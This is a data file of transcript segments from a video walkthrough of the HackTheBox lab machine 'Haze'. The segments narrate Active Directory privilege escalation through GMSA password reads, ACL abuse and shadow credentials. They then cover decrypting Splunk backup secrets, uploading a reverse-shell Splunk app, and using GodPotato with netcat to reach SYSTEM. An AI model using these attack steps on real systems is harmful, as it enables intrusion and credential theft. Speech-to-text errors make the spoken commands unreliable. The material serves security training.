+ {"text": "which was uh GMSA managers. So, we'll say dash match GMSA managers.", "start": 2067.839, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
63
+ {"text": "I don't know if it's capital or not. Um we'll see.", "start": 2074.24, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
64
+ {"text": "Or case sensitive, I guess I should have said. But hopefully this now gets us the interesting ACL. Um I don't know what the casing was on this. Does it say in blood hound GMSA manages all capital there? Uh same account name. This is how it's cased.", "start": 2079.839, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
65
+ {"text": "Um so I'm going to pause the video and I'll resume when this command finishes. It normally takes like 30 45 seconds I think. Awesome. And it is done. we see um the reference name GMSA managers has write property over um this object. It's pretty much the same exact thing as bloody ad told us except with bloody ad we could have just specified the user we are and say hey what do we have right access to um with power view with find interesting domain ACL's we have to be a little bit um more particular right because if I just did mark Adams here and we hit this I'm going to pause the video let this finish but I think there's no interesting ACL's um for us cuz it's not going to be recursing into all the groups. I'm sure there is a flag to do that, but um I just wanted to highlight it. And now that it's done, we can see", "start": 2099.359, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
66
+ {"text": "there was no output from that. So what we want to do is a set AD service account and specify the um GMSA account which was I think Hayes IT backup right here. So we can do this and then set the um principles allowed to retrieve managed passwords and that's going to be Mark Adams and this is going to enable us to use that read GMSA. Um I guess I have to spell it correctly.", "start": 2154.72, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
67
+ {"text": "Uh let's see is it principal? I think it's principles allowed to I guess I'll copy and paste this um set AD service account. Make sure we use Google principles allowed to retrieve manage password.", "start": 2192.88, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
68
+ {"text": "Okay. So, we don't have any output there. And that is good. So, if I now go back here and I don't know where it was. Um, oh, right here. This GMSA, this is the same command I ran before, but now when we run it, uh, what it backup run it? There we go. We get it. Um, I'm guessing maybe like machine hygiene or something like set this back like as I did this. Maybe I did it like on the minute and it undid the change it did. But there we go. We have the NLM password right there. So now we can um log in with this Haze IT backup. So if I do a let's do NXC SMB 10 10 1161 dash U dash I think it's dash capital H for hashes. Uh let's copy this paste and let's see we have a successful authentication. So, let's see what this account can do. So, I'm going to go look at Hayes ID back up. And we already saw this uh", "start": 2223.359, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
69
+ {"text": "we looked at it uh before and this user could get to Edward. I'm just going to show it this way so we can see everything on one graph um and say what we have to do. So we have write owner over this support services which then will allow us to force change password here. So with write owner we can do multiple things.", "start": 2309.2, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
70
+ {"text": "Um so let's say v notes. So what we're going to do first is um well write owner right and then the second thing we want to do is we're going to modify it to allow um generic all and then once we have that we can add ourselves to the group right so in order to abuse it we have to do three things here and then once we're in this group we'll be able to add a credential link to Edward Martin and we're going to you certify for that. So we'll do um shadow cred to Edward Martin. Right? So those are pretty much the steps. So we'll do bloody ad host DC1 haze htb d haze.htb http u haze it backup uh -p and let's go ahead and grab that ntlm hash again like this and then we can do set owner um it was support services and then haze IT backup so we're adding ourel to be the owner owner.", "start": 2333.76, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
71
+ {"text": "Okay. And then the next thing we need to do is allow generic all. So we can say add generic all support services um haze ID backup. There we go.", "start": 2418.64, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
72
+ {"text": "And finally, we want to do an add group member. So, we'll do add group member support services Haze ID backup. Um, is this wrong group? I screwed something up.", "start": 2443.599, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
73
+ {"text": "K sensitive. M is capital right there. There we go. Haze it has been added to support services. And we could also use bloody AD to create the shadow credential for us. But I don't think it actually gives us the NLM hash. It gives us a certificate back that we can use to use like get TGT or something to get a um certificate or NLM hash. I really just like using certify at this point.", "start": 2469.599, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
74
+ {"text": "So we'll do certify shadow auto username haze it backup at haze.htb hashes. Uh I got to get that password hash again.", "start": 2493.44, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
75
+ {"text": "So I'm going to go ahead and grab this.", "start": 2510.4, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
76
+ {"text": "And then the account was Edward Martin. the target we need to specify the fully qualified name of DC1 haze htb and then I'm going to add the name server 1010 1161 I think that's all we need I forgot a quote somewhere and let's see if this works if it doesn't work I'm going to um redo all the steps so set owner And then we wanted to generic all and then group member.", "start": 2516.64, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
77
+ {"text": "And now let's try certify again. That hygiene really makes it annoying when it undoes the changes you've been doing. But if you do it quick enough, you can get them all done. And now we're getting a TGT. And hopefully in just a second we will have um the NLM hash to Edward Martin and then we'll be able to use evil winrm to log in as him. So there we go. We have this hash and we can do evil winrm i10 1010 1161 u Edward Martin I think dash capital H again for hashes. And there we go. We're logged in. And remember, I've in Blood Hound, we already looked at this, but if we do a who am I/all, it's going to show us the groups. And one of the groups was backup related.", "start": 2563.04, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
78
+ {"text": "Right. There we go. Backup reviewers. So, I'm going to go back into the CD backslash. Uh, let's go into backups. Do a diir.", "start": 2612.56, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
79
+ {"text": "Now, there's a Splunk backup. DI here. And this is it. So, I'm going to do a download to download this backup. And it's going to take probably about 1 to two minutes to download. So, I'm going to just pause the video and we'll resume when it's done downloading.", "start": 2623.839, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
80
+ {"text": "Okay, the download is now done. So, I'm going to go ahead and extract it. So, I'm going to make a directory called backup. We'll go in there and then we'll do a sevenzip extract. And the file was what? Um, splunk something.zip.", "start": 2641.119, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
81
+ {"text": "uh 7zx for extract. There we go. So now we have the directory. If we just do a find dash type f, we can look at all the files here. And it is the um Splunk installation. We got some a lot in var. It looks like we had Etsy as well. Um let's go into Splunk.", "start": 2657.28, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
82
+ {"text": "Uh let's cat Etsy. Splunk.se. Um it was etsy o splunk. secret. So this is the secret of the backup. If I cat dot dot slash of my splunk.se secret, we can see the secrets uh differ. So we know this is a different installation.", "start": 2682.0, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
83
+ {"text": "Um what we can also do is a recursive GP. So I'm going to do um GP or capital P. This is going to give me regular expression. And I'm going to search for all password hashes because um we had that var directory. We have the Etsy directory. There's a lot of places it could be. So I'd rather just search for a string that has um a dollar then a digit and then another dollar then any non-white space character uh 15 or more times.", "start": 2703.52, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
84
+ {"text": "Uh we terminate that. And there we go. We have a few things. So Etsy passWD has this admin um inputs example. So these are examples. You can probably ignore those uh local authentication. We have a bind DN password. It's dollar1. And this one is also going to be reversible. Um we also have this pass uh symmetric key and SSL password. So let's look at the bind DN password. So I'm going to use the Splunk secrets again. and dollar one is actually the legacy. So we'll do a Splunk legacy decrypt.", "start": 2735.359, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
85
+ {"text": "Um I think it's like dash capital S then cipher text, right? Yeah. So we do dash capital S and then was it O uh Splunk.se secret and then cipher text. Paste that in. And remember we have to put that in quotes.", "start": 2775.44, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
86
+ {"text": "Um maybe Etsy off splunk.se secret. There we go. So we have admin uh Splunk admin 2K24.", "start": 2794.16, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
87
+ {"text": "Um let's see what that file was again. Where was that?", "start": 2805.839, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
88
+ {"text": "Uh what do we just decrypt it out of the bind password for this?", "start": 2812.079, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
89
+ {"text": "So, let's do a less uh Alexander Green. So, we could try logging in as them. Uh where is that? Copy. Uh I probably have it here, right? Uh NXC. We can do Alexander Green. Hopefully I spelled that correctly. paste and we'll see if this lets us on the server. It does not. Um, Alex, I'm just going to copy and paste this real quick, but I think I typed it right. So, it doesn't work for this account. It is the Splunk admin password. So we can also try it in Splunk itself. So if we go to login, we can do admin. Put in this password. I wonder if it was in like uh pass WD as well. Um I'm not sure where's that GP command. GP um admin. So I bet if we had cracked this, if we send this to Netcat, um this will probably translate to that password. So that's how we could do it.", "start": 2818.0, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
90
+ {"text": "This is probably the running config. The usernames here u if we cat Etsy pass WD it's only got one user admin. So that could also be how you know um what the user is for Splunk. And now once we log in we're an admin on Splunk. And what we can do is manage apps and install a malicious application. So I'm going to Google um Splunk reverse shell app.", "start": 2902.88, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
91
+ {"text": "maybe go to Google, go to the reverse shell Splunk, and this is the one we're going to use. So, I'm going to do a get clone just to download it. And it gives simple instructions. Um, we just to modify the PowerShell and then uh zip it up, right? So, it gives the tar and this. So, let's go into the reverse shell.", "start": 2929.599, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
92
+ {"text": "Okay. And if we go default inputs.com, we don't have to do this. I'm just going to do it. The Python is for when it's Linux. The BAT is for when it's Windows. I'm just going to delete the Linux because we know we're on Windows. So, we have that done. And then if we go to bin, if we look at run.bat, it's just going to execute the PowerShell. So, vbin run.ps1.", "start": 2957.68, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
93
+ {"text": "And we see it just wants us to put the IP address and port. So I'm going to do uh 10 1048. And then my port is going to be 9,0001.", "start": 2985.68, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
94
+ {"text": "And I'm going to save that. And then we just want to follow the instructions to t it up. So I'm going to copy this paste and do that error. Uh no such file or directory because I in one too deep. So let's delete what we had just made. There we go.", "start": 2998.319, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
95
+ {"text": "Okay. So we tar that. Now we want to rename it to be splunk reverse shell. SPL. Um I'm not sure why they didn't just name it from the tar command. That move command is completely unnecessary. Um, but now that we have the app, we can install from a file browse. And actually before I do this, let's do RL wrap nclvnp 90001. I don't have rl. Let's just do netcat.", "start": 3024.72, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
96
+ {"text": "Okay. And we want to do htb haze.", "start": 3056.079, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
97
+ {"text": "Um, reverse shell Splunk.", "start": 3062.16, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
98
+ {"text": "I guess I'm here. Where'd I save that file?", "start": 3071.52, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
99
+ {"text": "I am in reverse shell Splunk. Okay, there it is. I swear I did not see this file just a second ago. Upload.", "start": 3079.839, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
100
+ {"text": "Waiting for it to come back. There we go. Connect. And we do who am I/all uh we can see we have the se impersonate privilege. So we should be able to use a potato and we are Alexander green. So let's now go ahead and I'm going to download a I think god potato is the latest one. Um there's so many potatoes.", "start": 3087.52, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
101
+ {"text": "I think like sweet potato would work. I think maybe juicy potato ng may work. Um I'm just going to use god potato. Uh they're all just various tools to exploit the SE impersonate privilege.", "start": 3111.359, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
102
+ {"text": "So let's go ahead and download God Potato Net 4.", "start": 3125.839, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
103
+ {"text": "Uh do I have a dubdubdub already? Uh I don't think so.", "start": 3131.119, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
104
+ {"text": "So we'll do make dubdubdub. Go in here wget.", "start": 3139.92, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
105
+ {"text": "And then I'm also going to download netcat because we'll need that to send the shell easily. So I'm going to do netcat windows. And if you download like the first result off of GitHub, this it doesn't actually have the dash e. Um I know I wasted a little bit of time playing around with this and then I read the um instructions and it says like um I think this one has it removed. Maybe not.", "start": 3145.76, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
106
+ {"text": "There is a do netcat that has it removed. This doesn't have a release. So, this is not it. Um, let's see. Eternally bored. There we go. Maybe it's just like NC64 Windows. I had Googled. I Googled something and got something I normally don't. Uh, this it vins world. So, if you go here and download this netcat, it's not going to work. Um, if we look at it, let's see. but the - e gaping security hole option. Um, so it looks like they removed that.", "start": 3176.16, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
107
+ {"text": "So don't use this one. Um, I used it because I saw it on GitHub. It had a Windows version. I downloaded it and was confused why I wasn't getting a shell. Um, you want to use the one off of Eternally Bored. I'm just going to download this link wget. And it's probably on parrot somewhere. Um, I don't know though.", "start": 3208.88, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
108
+ {"text": "7z. I forgot the X again to extract. There we go. And we have NC64.exe.", "start": 3233.359, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
109
+ {"text": "Awesome. So, we have God Potato and NC. So, I'm going to go to CD program data.", "start": 3240.559, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
110
+ {"text": "I'm just going to do a curl http 101048 port 8000 uh Python 3M http server.", "start": 3246.64, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
111
+ {"text": "Let's download this. And the output, I'm just going to call it gp.exe exe for God potato.", "start": 3255.119, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
112
+ {"text": "And then I'm also going to download um netcat 64.", "start": 3263.04, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
113
+ {"text": "So copy nc64.exe and I'll just call it nc.exe.", "start": 3269.04, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
114
+ {"text": "Okay. So we can do nvnp 90001. And then going back to um god potato, we'll see how to use it. It just wants God potato cmd and then the command. Um, and they do full path to uh, they're not doing full path there, but I will. So, let's see. We'll do dot slashgp.exe- cmd and then cprogram data nc.exe 10148 90001. And we're going to send cmd.exe. exe. So run this and there we go. We get a shell here. If I do, who am I? Um, nothing. But we'll probably anti- authority system. So cd/users administrator desktop and then type root.ext. There we go. We can get it. Um, I don't know why the who am I commands not working. That's actually a little funny. It's got to be somehow it's doing the impersonation thing and um the token it gives us isn't compatible with who am I? Uh which is weird, but a lot of weird things happen when you do token impersonation.", "start": 3276.16, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
115
+ {"text": "I'm just going to try PowerShell real quick and then we'll wrap up the video. So we can do this PowerShell.exe.", "start": 3368.72, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
116
+ {"text": "Uh did PowerShell not work?", "start": 3381.119, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
117
+ {"text": "Is it going to make me find where PowerShell is? That's always annoying.", "start": 3392.4, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
118
+ {"text": "Um, so May Powell doesn't allow us to use impersonation.", "start": 3401.68, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
119
+ {"text": "If I do something that doesn't exist, do we get a connection? We do. And it hangs. So PowerShell is definitely doing something. And okay, sweet. I was worried that everything hung. Um, so what I was testing there is, um, what was it going to say? If I just got a connection at closed, then I would be thinking, oh, it doesn't know the path to PowerShell. But no, it knows the path to PowerShell. PowerShell is just exiting immediately. Uh, what if I do PowerShell here? Uh, nothing happens.", "start": 3407.44, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}
120
+ {"text": "So, it's got to be some something along with the token it is requesting. um doesn't have privilege to run some things. Uh it's really weird token shenanigans in Windows. But that's going to be the video. Hope you guys enjoyed it. Take care and I will see you all next", "start": 3446.079, "duration": 0.0, "meta": {"video_id": "XwGwz8alwUU", "title": "HackTheBox - Haze", "url": "https://www.youtube.com/watch?v=XwGwz8alwUU"}}